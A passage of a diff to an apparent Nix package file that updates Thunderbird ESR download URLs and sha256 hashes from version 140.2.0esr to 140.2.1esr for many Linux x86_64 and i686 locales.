-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/pa-IN/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/pa-IN/thunderbird-140.2.1esr.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "78eaefd2b5795d6b645fe0fc5fc10bf8c6014de13ed35e614aa5d1fe2a0178f7";
+      sha256 = "11f07f696f9f04083cc222631c29536e917e077e6bc0acf5c295831a6617148f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/pl/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/pl/thunderbird-140.2.1esr.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "a95c75044e0deeadf2626e72a37a1f55f7a743a57c3905c17df3fd4ba20b63da";
+      sha256 = "8aef7557a991479290be60773a1b30d82358f2a9b8a33d094edf9ae30b93d9b8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/pt-BR/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/pt-BR/thunderbird-140.2.1esr.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "04011d9dd415697e392056d915a9b2ccc4119e29f08cc32ec0ab8dcbc4e9c839";
+      sha256 = "2ebcf2ec72a2de28e680e80a9282fb84e99c6aff2b55bfbefe7e1958f4eff268";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/pt-PT/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/pt-PT/thunderbird-140.2.1esr.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "80dea720362931047b584075f5f9323bff0ca6a8641fb158746268cc62280d5a";
+      sha256 = "6d797fe7ec0f13bf953de7d989034ffe2913ed63ddc3f8c4d3098da108fc3b1a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/rm/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/rm/thunderbird-140.2.1esr.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "6a89b903adc52c93b49a61f357da2e9809f5c5d26f2883a62ded68377972b75e";
+      sha256 = "c2c2453691feca693ba7592a465eca7059093665e4d705d44da0e012ce63aab5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/ro/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/ro/thunderbird-140.2.1esr.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "174457f9817b9e30c14c7dd3548923fa2787ff3403a5ac738769341c4439166d";
+      sha256 = "b49300e51bf12c0a3be7ff761df5338a384eb0285cafd41d94e886c2d5c1da26";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/ru/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/ru/thunderbird-140.2.1esr.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "715822de4ef99309e4b210a9dc43bf064545fa7dae008abb6246853f530520d9";
+      sha256 = "9132a00e10afa884ece0b117a874e037382f67da4177f6c0e129f7c8c1e83791";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/sk/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/sk/thunderbird-140.2.1esr.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "f122cde00d47d506d6944c459a6291d2438b40efc76f49f862c9a38c8ab2ef42";
+      sha256 = "fab0c6faf1fe849b84326cfb9d7d58093aeb3deadbf4edf94096beba7b6165ab";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/sl/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/sl/thunderbird-140.2.1esr.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "5057883deb5e1149a761d5a1dc1c4fa8c92cba2a69cab74faf49dce4e519a452";
+      sha256 = "2c5d1b5daa1c4dd86800a89997b29a7035228d794f00652829f16abc972ab3e0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/sq/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/sq/thunderbird-140.2.1esr.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "8884b14937382aaf033df13da2e83d02d572bdc419ac7d641628002fb7c19e95";
+      sha256 = "f29e80fca6e583ea1f32960daa7b7708a74881482692779499ab1c3079a92655";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/sr/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/sr/thunderbird-140.2.1esr.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "e01acc86bbbe215ba81faec9f5263be2d2d4714f046cbc41e8fd9f3c15e19e1d";
+      sha256 = "c1b0845b4ddf97a81ffe628780616b37fa8fa6d4da74f96c539a1bc47e29a8a9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/sv-SE/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/sv-SE/thunderbird-140.2.1esr.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "69c977a21d06c0e08eb643767f326b66b404baf25c2e60688fbebfff7a1a3ec6";
+      sha256 = "bc5e0248605450a455069a6f18e863aaa968118e7fdfee8bd3e2c3a98a241549";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/th/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/th/thunderbird-140.2.1esr.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "91ed15f92feb265ae7bcacb71258cc39b8ff028c98ff413810976f8c9249d214";
+      sha256 = "e01ea48e9f809f21d5a014089e6bb2445763a674ccfa97e027dfb0957cbe11e0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/tr/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/tr/thunderbird-140.2.1esr.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "8972ba199dea0caf53ffec85097a94b41942acfa99def00f8eea208870f06071";
+      sha256 = "dc0adbd1d1af33c503c99928b98c8f09ab8cd3dac3fc5a61ebd53837e1736478";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/uk/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/uk/thunderbird-140.2.1esr.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "2d409996c337b7c63136a5217879968c3bda91c71170e63b199e6e317e5f7cd5";
+      sha256 = "044379494913464ab495db9d6bd0190e006ad6c699421638bd88b9e70f143bf2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/uz/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/uz/thunderbird-140.2.1esr.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "bf121f42792696666d3deeaceaf15c8667a2d0e70ec494f8ff717f397686f909";
+      sha256 = "d74f23f915fe93ec1e57f6e81648e0a95cebe8c4395e7e7097e04d4db2a49e8d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/vi/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/vi/thunderbird-140.2.1esr.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "f8d2edd0096547195477419b2f7328d3b6b58a4a9ab596bf293dd786b20b3e64";
+      sha256 = "ba7aaa97d3bd57712e14e1a80efa89c6c3cd569ade6dfc08f959a11ef224f943";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/zh-CN/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/zh-CN/thunderbird-140.2.1esr.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "c5430798b925e33eeee603bd7f6a54078eabb8b1da54847a8324be671e576c15";
+      sha256 = "c997d3894ab17c258d4bd3a75d27daa83a13e6e1bf1b63a0b6c5ab4aec1a474e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/zh-TW/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-x86_64/zh-TW/thunderbird-140.2.1esr.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "7c00f112373fd9abf22afe8209b0adf561e6018c7473c7d07b42d2efd5fe4c07";
+      sha256 = "2ac96d51c9c48b2017fe0519282928edfd762dff4e3ee38adbda1995e78d01ec";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/af/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/af/thunderbird-140.2.1esr.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "e1d479ecf98c2a330f877f75688a85535aae8b8847b7acf1f6798bf85d9ca724";
+      sha256 = "36a84539a83e93aee5e4b1e8efb8ad7d8012f98b821618d44f52e155cf2e119b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/ar/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/ar/thunderbird-140.2.1esr.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "b03e960a8f10e8aec0aa26531beca5296bbb2a3fcad49b1f87590eb1b85f84b5";
+      sha256 = "4c01adc43909c1bf41bd153749a1ccafa0895edd866e9a7168fe1dc10dcfdd78";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/ast/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/ast/thunderbird-140.2.1esr.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "84b579c1e04dc06f87a6137ec6e2e7f2bd3b39fee7357932eed9a18a8ab8220e";
+      sha256 = "08a961cc8a72b86daf6497f78f0fd574277605a7b6ff22486d0c95e624f219eb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/be/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/be/thunderbird-140.2.1esr.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "b572b4011ef7fc698b5cdf81234d236f9a5a8bdd08fb8cf038ba38293612d509";
+      sha256 = "566ba421a9bf2bcbaffb867f9150f8505163d28ceb73eb4a6d48f2aa776cdf9a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/bg/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/bg/thunderbird-140.2.1esr.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "043012b04adb39f884c6217254df3ac35bab2c4fb4b7d29bb02edba0042a7ea2";
+      sha256 = "21ca963cbfa1473da75d021b0eb989dba68323387c5ff64cf3d7d3cfcaee2138";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/br/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/br/thunderbird-140.2.1esr.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "7333886921ef05e5cf2a5be661b68a3a62b1326f56203b6f665634f3e081d009";
+      sha256 = "2a054ea15fcbd20ff7a1a4434bddfb06b0d1fdb9a1d9d37f0fe9b3aea3d59887";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/ca/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/ca/thunderbird-140.2.1esr.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "669ca6096791fd618d5adaebb0b45fb42bd09bc8539fa5bdad970506deb8b9a0";
+      sha256 = "e9387b03aa82116586acf95ab88421aa41eb33ab269e22460adb650aa5d38485";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/cak/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/cak/thunderbird-140.2.1esr.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "a3e5803ed4ea8455ae8a25007320aba1015416a05f225b0ed85dfbcc7f458ae9";
+      sha256 = "44458f440f69a8471887aa839e865b0df90a68d51f30357ed328415935004a3b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/cs/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/cs/thunderbird-140.2.1esr.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "dc2f5cd79363e7071f79fbae8f11dde0512461abcb2841816e176e334ed4c46d";
+      sha256 = "e775a60eedfd0ceeb23ee2cd7ed97f2485cc3ebda69f5ae47dee7380e890d137";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/cy/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/cy/thunderbird-140.2.1esr.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "6872b6699d46c7ce3fc2b87142dfcfa26a6adcad78a321a0cccf2406938f9faf";
+      sha256 = "d2be5f452f63623c407cf77328f72113525ba5fb429aeea0118814b5603db4ae";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/da/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/da/thunderbird-140.2.1esr.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "2111f740ac9d778f5a05e1bb1577d747ab10e94919def84fd941ec679a0bb3ac";
+      sha256 = "9085378496cae5c22462ba49006d8950aa8cdd0a3d3fb92694c8044d1c904ce9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/de/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/de/thunderbird-140.2.1esr.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "8d35ca8c2152f4197a2b86e300c4a1fb3c0b89fb231a358b4935833c1939aa0c";
+      sha256 = "7a775121c2126649980eb6558d2b3791ff8836038a1e9f790b249fc8101c556a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/dsb/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/dsb/thunderbird-140.2.1esr.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "7e61e79f30ac2094bbc1788fe93d73cf83d27f19083603287b91d98521ee96a5";
+      sha256 = "2055eab85dbab3ab004ecf1fb8f38977337549ec50a8fa3965570055e08920cc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/el/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/el/thunderbird-140.2.1esr.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "da1ece0ef2d892fe87b93024fe29653662563d1a2f2280e3cb005d2f93064b5f";
+      sha256 = "6a6223c5f7875bae40638ae5e5d89c5cf5d3fa1d99d89422771f02ae65ddb791";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/en-CA/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/en-CA/thunderbird-140.2.1esr.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "8220c9eb9dadb54d4329457be5949c3eb83ebc27849a8338aaf9c878dc2dda23";
+      sha256 = "fb6eb06106ef30310823824e0c6dadf4b0c667c1dd422ed9e4f921111f6f5862";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/en-GB/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/en-GB/thunderbird-140.2.1esr.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "d20002e128605b757740ccd417e0bde5a18a00abb53eec96c42ee7cc1994ef42";
+      sha256 = "49df379a7cbe9c9c8d333f52944bbd9741fccc9d9ebdb4e169a7f090424b0304";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/en-US/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/en-US/thunderbird-140.2.1esr.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "dcd90eefb0859015566d3793daaa5f221bb41c0d81a64d9327206988f7d2dc04";
+      sha256 = "445324f5638c7fcfaafaa93716488f4e5f0b6e800ab41c289efc827487544fa1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/es-AR/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/es-AR/thunderbird-140.2.1esr.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "e7cc813fc9521b21724b83b52b38c48490399569262791da9e5d4045a949fe6e";
+      sha256 = "02472c8a456d07c44fe8a044594a9f93f139dff300b801e11557af589b6620cb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/es-ES/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/es-ES/thunderbird-140.2.1esr.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "1981a0da411e6f09553eafdedd4b5a03da81f80030f3f21b94577f70f20615ac";
+      sha256 = "b70fcd3a8491022a12ff535598ef73ed8547dc847b1d5aba41eabe1b2f205e7b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/es-MX/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/es-MX/thunderbird-140.2.1esr.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "b8d9badc039a8f4319eac984f32949a43241df208d5e251e9495b032c7a93b86";
+      sha256 = "ba2d7e05c9143be101c99bdb68a3506f66c24aa00b7a8873c3134f235b070c1c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/et/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/et/thunderbird-140.2.1esr.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "7aaa6507c37fabcc2adaf371349088a5e2766891ec72c4113ffe5a9cc520684c";
+      sha256 = "603034c5e44a33e7c573ac43e331e5292697e32218e926e297f8631990cd6ecc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/eu/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/eu/thunderbird-140.2.1esr.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "0c7d7754dc8520bd562fc43ffd9edc7ce00513e2e35176eb5589669d1a729334";
+      sha256 = "ce929b2bdcd90e12c07a03344bd95041fe8363d56c5869b4ab4e53b3ace4695a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/fi/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/fi/thunderbird-140.2.1esr.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "6e9c70ae222430f04c016f71ef11d3c8f35d8492700106b8a7b15c464584736f";
+      sha256 = "8e75296ff704ec6caddb61ae7a5fbc924f4411da453e50025c9337a2780ef2f5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/fr/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/fr/thunderbird-140.2.1esr.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "8ce64ea11265af482fdadbc998b78d29eab077b19b8c7d44443537ca91ea4c2c";
+      sha256 = "904cafeb87cab7b877630fee7160fe9f099ed74f8d95754011f9222695660a95";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/fy-NL/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/fy-NL/thunderbird-140.2.1esr.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "1a7a60200112e65164df4a2aee9ce64137b33055051842c5ff716681758a3544";
+      sha256 = "7dd7c752d3b662f26f7ae8b3b1ccd69d4895f410099e00f36f5d456a3d8a5c67";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/ga-IE/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/ga-IE/thunderbird-140.2.1esr.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "e7f261f2a0724f55743087472040f74b2b872e13c12dd938c642e78c3ee9b1c8";
+      sha256 = "d5f2f784171882b5bd66d0c75e1729b10f66f2e59d6fd714b2d3a334ec6d73ee";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/gd/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/gd/thunderbird-140.2.1esr.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "5da7d1af89c5f8b7653306116053eca67830ddcf7ed0cd589dcdf036a03ea69c";
+      sha256 = "3f530d6ffa3826b036412c9be4b0444b022e0713f9243599394eb9b9a00b3e1f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/gl/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/gl/thunderbird-140.2.1esr.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "c67db96e9b6cf3551a7264016900651961fdf5eeb31613ef89757430a405298b";
+      sha256 = "f6d8c15d4434ce7d18056a863f2644f278bf782782a1e51afbdb572c2929bb88";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/he/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/he/thunderbird-140.2.1esr.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "7290b3a06df6a04f17a349f10b50f4bd04ae626378b36372c659b00a1cb840d9";
+      sha256 = "632283a386933283ae95898ab13ee63e26854a0937a72c97ce954b232417e14c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/hr/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/hr/thunderbird-140.2.1esr.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "e588b2a951b8c49665a6b86737c5f2ceb0fdc46a92144263364f61552c0548a2";
+      sha256 = "b5b2e80a187dd2c15ac1c7ad2a5867918574f343cab36c4095a6af57637ac78f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/hsb/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/hsb/thunderbird-140.2.1esr.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "85cb2a0e61fcd80d08ed6d3110c778a26bcf3e22aaba96a6d70bc7f21fb46458";
+      sha256 = "05311560fa48be3d18f2616549900a1980b7694be54510ce26ec96947a0dddf1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/hu/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/hu/thunderbird-140.2.1esr.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "5a34c23c6c2793621bc8a7e36b4af3843c4f2259bf058958d6eb3df66944739b";
+      sha256 = "9f123e0d44a135795fa285834779b41b785e5abca0115a4856c543f055f10e49";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/hy-AM/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/hy-AM/thunderbird-140.2.1esr.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "a297365831d52ccf591e6ded2bbd23f05097571c1d717ed82129ac6b4513072a";
+      sha256 = "b03baec30971b7dbe0ffaaadf65b73285344510c19546abf612d985dd032f84b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/id/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/id/thunderbird-140.2.1esr.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "6997bc0af3aa065b5fbac8b4ad9677f1610be9ae8b8d5799aa9a2b366898543d";
+      sha256 = "35aaa486061c7d2a373888f62f810a1fd5966e602430c60cd5746b922b11c7f5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/is/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/is/thunderbird-140.2.1esr.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "d29f035faf0a92524da988d93c044f81eed4db890ca127809158bacfd3000553";
+      sha256 = "8faf0c983c9769ff9f659a65a81b41589048b9f9f21ba393f6438b10ba1dddaf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/it/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/it/thunderbird-140.2.1esr.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "158d5735052ff5f0a243f3125c330f19abf8a988b287f8a3b16fbc2104bffdef";
+      sha256 = "de1920f5e3d6d681fc0f4429442397a1b48b3f5468c7dd680b3e74386877f7ca";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/ja/thunderbird-140.2.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.1esr/linux-i686/ja/thunderbird-140.2.1esr.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "54f824266055aec7e554ec0cacad322e9126df9f82a791d992d46462c78ba175";
+      sha256 = "faaccf2800ab2a5475e141bb366e78f30fc55f4fe8f3182d3c72361ca08c27d0";
     }
     {
